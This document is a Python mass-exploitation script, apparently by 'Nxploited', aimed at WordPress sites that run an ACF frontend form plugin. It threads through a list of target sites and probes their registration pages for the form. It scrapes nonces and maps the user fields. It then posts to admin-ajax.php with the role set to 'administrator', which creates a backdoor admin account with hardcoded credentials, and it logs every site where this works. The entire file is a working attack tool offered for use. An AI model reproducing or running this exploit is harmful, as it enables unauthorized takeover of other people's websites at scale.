#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Nxploited

import json
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from urllib.parse import urljoin, urlparse

import requests
from bs4 import BeautifulSoup
from colorama import Fore, Style, init as colorama_init
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.table import Table
from rich.theme import Theme
from rich import box

requests.packages.urllib3.disable_warnings()
colorama_init(autoreset=True)

# ========== Rich UI setup ==========

theme = Theme(
    {
        "banner": "bold cyan",
        "accent": "bold green",
        "label": "bold magenta",
        "value": "white",
        "meta": "dim white",
        "warn": "bold yellow",
        "error": "bold red",
        "ok": "bold bright_green",
        "input": "bold bright_cyan",
        "title": "bold bright_white",
    }
)
console = Console(theme=theme)

REGISTER_PATHS = [
    "/",
    "/register/",
    "/registration/",
    "/signup/",
    "/sign-up/",
    "/sign_up/",
    "/user-registration/",
    "/user/register/",
    "/user/signup/",
    "/users/register/",
    "/account/",
    "/my-account/",
    "/myaccount/",
    "/new-account/",
    "/create-account/",
    "/create-user/",
    "/create-user-account/",
    "/member/register/",
    "/members/register/",
    "/profile/register/",
    "/join/",
    "/join-us/",
    "/frontend-form/",
    "/frontend-form-register/",
    "/frontend-register/",
    "/frontend-registration/",
    "/user-registration-form/",
]

SUCCESS_FILE = "acf_success.txt"


def debug(msg, verbose=False):
    if verbose:
        console.print(f"[meta][DEBUG][/meta] {msg}")


def show_banner():
    banner_text = Text()
    banner_text.append(
        "   __         __    _  _  _  ___    ,________     _ \n"
        "  / ()(|  |_// ()  / )/ \\/ )|__    /| __/ __/|  |/ )\n"
        " |     |  |  >- ----/|   |/    \\----|   \\   \\|__|_/ \n"
        "  \\___/ \\/   \\___/ /__\\_//__\\__/    |\\__/\\__/   |/__\n",
        style="banner",
    )

    name = Text(" Nxploited ", style="accent")
    info = Text()
    info.append("Advanced ACF Frontend Form Exploit\n", style="title")
    info.append("GitHub: ", style="label")
    info.append("https://github.com/Nxploited\n", style="value")
    info.append("Telegram: ", style="label")
    info.append("https://t.me/KNxploited\n", style="value")

    grid = Table.grid(expand=True)
    grid.add_column(ratio=3)
    grid.add_column(ratio=4)
    grid.add_row(banner_text, Panel(name, border_style="accent", box=box.ROUNDED, padding=(1, 4)))
    grid.add_row("", info)

    console.print(Panel(grid, border_style="accent", box=box.HEAVY))


def show_intro():
    usage = Text()
    usage.append("ACF Frontend Form Element Exploit\n\n", style="title")
    usage.append("This tool scans targets for vulnerable ACF frontend forms\n", style="meta")
    usage.append("and attempts to create an administrator user via AJAX.\n\n", style="meta")
    usage.append("Workflow:\n", style="label")
    usage.append("  • Load targets from list file\n", style="value")
    usage.append("  • Discover frontend ACF form on common registration paths\n", style="value")
    usage.append("  • Map username/email/password/role fields\n", style="value")
    usage.append("  • Submit payload to /wp-admin/admin-ajax.php\n", style="value")
    usage.append("  • Log successful admin creations in ", style="value")
    usage.append(f"{SUCCESS_FILE}\n", style="accent")

    console.print(
        Panel(
            usage,
            title="Overview",
            border_style="label",
            box=box.ROUNDED,
        )
    )


def prompt_inputs():
    grid = Table.grid(expand=True)
    grid.add_column()
    grid.add_row(Text("Input Parameters", style="title"))
    console.print(Panel(grid, border_style="label", box=box.ROUNDED))

    console.print("[input]Enter targets file path (e.g. list.txt):[/input]")
    list_path = input("> ").strip()
    if not list_path:
        console.print("[error]No list file provided.[/error]")
        sys.exit(1)

    console.print("[input]Enter number of workers (threads), e.g. 10:[/input]")
    try:
        workers = int(input("> ").strip() or "10")
    except Exception:
        workers = 10

    console.print("[input]Enter request timeout in seconds (e.g. 10):[/input]")
    try:
        timeout = int(input("> ").strip() or "10")
    except Exception:
        timeout = 10

    console.print("[input]Enable verbose debug? (y/N):[/input]")
    ans = input("> ").strip().lower()
    verbose = ans.startswith("y")

    return list_path, workers, timeout, verbose


def normalize_base(url: str) -> str:
    u = url.strip()
    if not u.startswith(("http://", "https://")):
        u = "http://" + u
    parsed = urlparse(u)
    base = f"{parsed.scheme}://{parsed.netloc}"
    return base


def load_targets(path: str):
    try:
        with open(path, "r", encoding="utf-8", errors="ignore") as f:
            return [l.strip() for l in f if l.strip()]
    except Exception as e:
        console.print(f"[error]Failed to read targets file '{path}': {e}[/error]")
        sys.exit(1)


def is_user_field_name(name: str):
    m = re.fullmatch(r"acff\[user]\[(field_[A-Za-z0-9]+)]", name)
    if not m:
        return None
    return m.group(1)


def choose_best_control_for_field(field_div):
    candidates = field_div.find_all(
        lambda tag: tag.name in ["input", "select", "textarea"]
        and tag.has_attr("name")
        and is_user_field_name(tag["name"]) is not None
    )
    if not candidates:
        return None

    def score(tag):
        tname = tag.name
        itype = tag.get("type", "").lower()
        if tname == "select":
            return 0
        if tname == "input":
            if itype in ["text", "email", "password", "radio", "checkbox"]:
                return 1
            if itype in ["hidden"]:
                return 3
        if tname == "textarea":
            return 2
        return 4

    candidates.sort(key=score)
    return candidates[0]


def find_frontend_form(html: str, verbose=False):
    soup = BeautifulSoup(html, "html.parser")

    forms = soup.find_all("form")
    best_form = None
    best_score = -1
    best_acf_hidden = None

    for f in forms:
        classes = f.get("class", [])
        has_frontend_class = any("frontend-form" in c for c in classes)

        acf_hidden = {}
        for inp in f.find_all("input", {"type": "hidden"}):
            name = inp.get("name", "")
            if name.startswith("_acf_"):
                acf_hidden[name] = inp.get("value", "")

        has_nonce = "_acf_nonce" in acf_hidden
        has_form = "_acf_form" in acf_hidden

        has_user_field = f.find(
            lambda tag: tag.name in ["input", "select", "textarea"]
            and tag.has_attr("name")
            and is_user_field_name(tag["name"]) is not None
        ) is not None

        score = 0
        if has_frontend_class:
            score += 2
        if has_nonce and has_form:
            score += 3
        if has_user_field:
            score += 2

        if score > best_score and has_nonce and has_form and has_user_field:
            best_score = score
            best_form = f
            best_acf_hidden = acf_hidden

    if not best_form or not best_acf_hidden:
        debug("No suitable ACF frontend form found in page", verbose)
        return None, None

    form = best_form
    acf_hidden = best_acf_hidden

    user_fields = {}
    field_containers = form.find_all("div", class_=lambda c: c and "acf-field" in c)

    for field_div in field_containers:
        data_name = field_div.get("data-name", "")
        data_type = field_div.get("data-type", "")
        data_key = field_div.get("data-key", "")

        label_el = field_div.find("label")
        label_text = label_el.get_text(strip=True) if label_el else ""

        control = choose_best_control_for_field(field_div)
        if not control:
            continue

        input_name = control.get("name")
        field_id = is_user_field_name(input_name)
        if not field_id:
            continue

        user_fields[field_id] = {
            "name": data_name,
            "type": data_type,
            "key": data_key,
            "label": label_text,
            "input_name": input_name,
            "wrapper": field_div,
        }

    return acf_hidden, user_fields


def map_fields(user_fields: dict, verbose=False):
    username_field_id = None
    email_field_id = None
    password_field_id = None
    role_field_id = None
    first_field_id = None
    last_field_id = None

    for fid, info in user_fields.items():
        label = (info["label"] or "").lower()
        ftype = (info["type"] or "").lower()
        dname = (info["name"] or "").lower()

        if not username_field_id:
            if "username" in label or dname == "fea_username":
                username_field_id = fid

        if not email_field_id:
            if "email" in label or ftype == "user_email":
                email_field_id = fid

        if not password_field_id:
            if "password" in label or ftype == "user_password":
                password_field_id = fid

        if not first_field_id:
            if "first name" in label or dname == "fea_first_name":
                first_field_id = fid

        if not last_field_id:
            if "last name" in label or dname == "fea_last_name":
                last_field_id = fid

        if not role_field_id:
            if ftype == "role" or "role" in label or dname == "fea_role":
                role_field_id = fid

    debug(
        f"Mapped fields: username={username_field_id}, email={email_field_id}, "
        f"password={password_field_id}, first={first_field_id}, last={last_field_id}, "
        f"role={role_field_id}",
        verbose,
    )

    if not (username_field_id and email_field_id and password_field_id and role_field_id):
        return None

    return {
        "username": username_field_id,
        "email": email_field_id,
        "password": password_field_id,
        "first": first_field_id,
        "last": last_field_id,
        "role": role_field_id,
    }


def build_payload(
    form_url: str,
    acf_hidden: dict,
    user_fields: dict,
    mapped: dict,
    username_value: str,
    email_value: str,
    password_value: str,
    first_name_value: str = "Nx",
    last_name_value: str = "ploited",
    verbose=False,
):
    base_data = {}

    for k, v in acf_hidden.items():
        base_data[k] = v

    base_data.setdefault("_acf_validation", "1")
    base_data.setdefault("_acf_changed", "1")
    base_data.setdefault("_acf_status", "")
    base_data.setdefault("_acf_message", "")
    base_data.setdefault("_acf_required_message", "")

    base_data["acff[_validate_email]"] = ""

    u_id = mapped["username"]
    e_id = mapped["email"]
    p_id = mapped["password"]
    r_id = mapped["role"]
    f_id = mapped.get("first")
    l_id = mapped.get("last")

    base_data[f"acff[user][{u_id}]"] = username_value
    base_data[f"acff[user][{e_id}]"] = email_value
    base_data[f"acff[user][{p_id}]"] = password_value

    if f_id:
        base_data[f"acff[user][{f_id}]"] = first_name_value
    if l_id:
        base_data[f"acff[user][{l_id}]"] = last_name_value

    base_data[f"acff[user][{r_id}]"] = "administrator"

    pwd_wrapper = user_fields[p_id]["wrapper"]
    custom_pw_input = pwd_wrapper.find("input", {"name": "custom_password"})
    if custom_pw_input:
        base_data["custom_password"] = custom_pw_input.get("value", p_id)
    else:
        base_data["custom_password"] = p_id

    base_data["password-strength"] = "4"
    base_data["action"] = "frontend_admin/form_submit"

    debug(f"Base payload keys: {list(base_data.keys())}, role_field={r_id}", verbose)
    return base_data


def check_success(response_text: str, verbose=False):
    try:
        j = json.loads(response_text)
        if isinstance(j, dict) and j.get("success") is True:
            return True, j
    except Exception:
        pass

    flat = response_text.replace(" ", "").replace("\n", "").lower()
    if '"success":true' in flat:
        return True, None

    return False, None


def discover_form_page(base_url: str, timeout: int = 10, verbose: bool = False):
    session = requests.Session()
    session.verify = False
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}

    for path in REGISTER_PATHS:
        url = urljoin(base_url, path.lstrip("/"))
        try:
            r = session.get(url, headers=headers, timeout=timeout, allow_redirects=True)
        except Exception as e:
            debug(f"GET {url} failed: {e}", verbose)
            continue

        if r.status_code != 200:
            debug(f"GET {url} -> {r.status_code}", verbose)
            continue

        acf_hidden, user_fields = find_frontend_form(r.text, verbose=verbose)
        if acf_hidden:
            debug(f"Found frontend form at {url}", verbose)
            return url, r.text, acf_hidden, user_fields

    return None


def log_success(base: str, form_url: str, username: str, email: str, password: str, json_data):
    ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    line = (
        f"[{ts}] BASE={base} FORM={form_url} "
        f"USER={username} EMAIL={email} PASS={password} "
        f"JSON={json.dumps(json_data, ensure_ascii=False) if json_data is not None else 'null'}"
    )
    try:
        with open(SUCCESS_FILE, "a", encoding="utf-8") as f:
            f.write(line + "\n")
    except Exception as e:
        console.print(f"[error]Failed to write to {SUCCESS_FILE}: {e}[/error]")


def exploit_target(
    raw_target: str,
    username: str,
    email: str,
    password: str,
    timeout: int = 10,
    verbose: bool = False,
):
    base = normalize_base(raw_target)
    console.print(f"[label][+][/label] Target base: [value]{base}[/value]")

    discovered = discover_form_page(base, timeout=timeout, verbose=verbose)
    if not discovered:
        console.print(f"[warn][-] No suitable ACF Frontend form found on common registration paths for {base}[/warn]")
        return

    form_url, html, acf_hidden, user_fields = discovered
    console.print(f"[ok][+] Found form at:[/ok] [value]{form_url}[/value]")

    nonce_val = acf_hidden.get("_acf_nonce", "")
    form_id = acf_hidden.get("_acf_form", "")
    console.print(f"[meta]_acf_nonce:[/meta] {nonce_val}")
    console.print(f"[meta]_acf_form:[/meta] {form_id}")

    mapped = map_fields(user_fields, verbose=verbose)
    if not mapped:
        console.print(f"[warn][-] Could not map username/email/password/role fields for {base}[/warn]")
        return

    base_data = build_payload(
        form_url,
        acf_hidden,
        user_fields,
        mapped,
        username_value=username,
        email_value=email,
        password_value=password,
        verbose=verbose,
    )

    parsed = urlparse(form_url)
    ajax_base = f"{parsed.scheme}://{parsed.netloc}"
    ajax_url = urljoin(ajax_base, "/wp-admin/admin-ajax.php")

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": ajax_base,
        "Referer": form_url,
    }

    form_items = list(base_data.items())

    debug(f"Sending payload keys: {', '.join(base_data.keys())}", verbose)

    try:
        pr = requests.post(
            ajax_url,
            data=form_items,
            headers=headers,
            timeout=timeout,
            verify=False,
        )
    except Exception as e:
        console.print(f"[error][-] POST to {ajax_url} failed for {base}: {e}[/error]")
        return

    ok, j = check_success(pr.text, verbose=verbose)
    if ok:
        console.print(f"{Fore.GREEN}[+] SUCCESS{Style.RESET_ALL}: {base}")
        if j is not None and verbose:
            try:
                console.print(json.dumps(j, indent=2))
            except Exception:
                pass
        log_success(base, form_url, username, email, password, j)
    else:
        console.print(f"[fail][-] FAILED:[/fail] {base}")
        if verbose:
            console.print(f"[meta]Status:[/meta] {pr.status_code}")
            console.print(f"[meta]Body:[/meta] {pr.text[:500]}")


def worker(target, username, email, password, timeout, verbose):
    try:
        exploit_target(target, username, email, password, timeout, verbose)
    except Exception as e:
        console.print(f"[error][-] Error on {target}: {e}[/error]")


def main():
    show_banner()
    show_intro()
    list_path, workers, timeout, verbose = prompt_inputs()

    username = "Nxadmin1"
    email = "nxploitedtest@gmail.com"
    password = "NxAdmin_1337#KSA"

    targets = load_targets(list_path)
    if not targets:
        console.print("[error]No targets loaded.[/error]")
        sys.exit(1)

    meta = Text()
    meta.append(f"Loaded targets: ", style="label")
    meta.append(str(len(targets)) + "\n", style="value")
    meta.append("Workers: ", style="label")
    meta.append(str(workers) + "\n", style="value")
    meta.append("Timeout: ", style="label")
    meta.append(str(timeout) + "s\n", style="value")
    meta.append("Verbose: ", style="label")
    meta.append(str(verbose) + "\n", style="value")
    meta.append("Credentials: ", style="label")
    meta.append(f"{username}:{password} / {email}\n", style="accent")
    meta.append("Success log: ", style="label")
    meta.append(f"{SUCCESS_FILE}", style="accent")

    console.print(Panel(meta, title="Session", border_style="accent", box=box.ROUNDED))

    with ThreadPoolExecutor(max_workers=workers) as executor:
        future_to_target = {
            executor.submit(
                worker,
                t,
                username,
                email,
                password,
                timeout,
                verbose,
            ): t
            for t in targets
        }

        try:
            for future in as_completed(future_to_target):
                _ = future_to_target[future]
        except KeyboardInterrupt:
            console.print("\n[warn][!] Interrupted by user[/warn]")
            executor.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)


if __name__ == "__main__":
    main()